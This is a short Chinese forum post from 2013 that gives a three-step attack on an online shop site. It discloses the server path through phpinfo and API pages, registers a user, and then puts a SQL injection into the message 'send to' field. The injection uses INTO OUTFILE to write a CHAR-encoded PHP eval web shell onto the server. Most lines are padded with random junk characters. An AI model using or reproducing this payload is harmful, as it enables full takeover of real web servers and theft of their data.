第一个：想办法找到目标网站的绝对路径( d' g1 e7 h3 K0 f
8 j, P5 T% j8 y
http://www.political-security.com/install/svinfo.php?phpinfo=true
, a2 U4 S$ ~- s& m
. ^) ]( w# u6 Y/ zhttp:/www.political-security.com/core/api/shop_api.php! t" ?% A( D. Q$ m( \6 S3 v
; [1 @) c) x2 d0 v- C% y0 ^: u8 _http://www.political-security.co ... api_b2b_2_0_cat.php
. b+ G6 h1 L9 n) K0 ^) ]6 c, t- B, V, i; U2 O' l7 Q* _' _
http://www.political-security.com/core/ap ... b_2_0_goodstype.php
; E( t- D3 u& [# L
% @% o" E) b, X# ?$ \http://www.political-security.co ... i_b2b_2_0_brand.php- \* q8 h8 T* S; n0 j
第二个：注册一个普通用户. \1 g8 _, ^" B3 H1 p7 W" x
0 _* f/ V& `* O+ z7 X2 A7 g
http://www.political-security.com/?passport-signup.html% b8 @* c ?9 V) ?" j
1 M* F, l3 v, n9 ?+ {! A* U第三个： 发送消息
& `* G' W% |- w6 M' W6 e
4 X J$ V, o- Y: \http://www.political-security.com/?member-send.html7 a9 ^4 I! p! B |0 q
发送给中填写 _! l$ D+ L" S9 A3 A
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对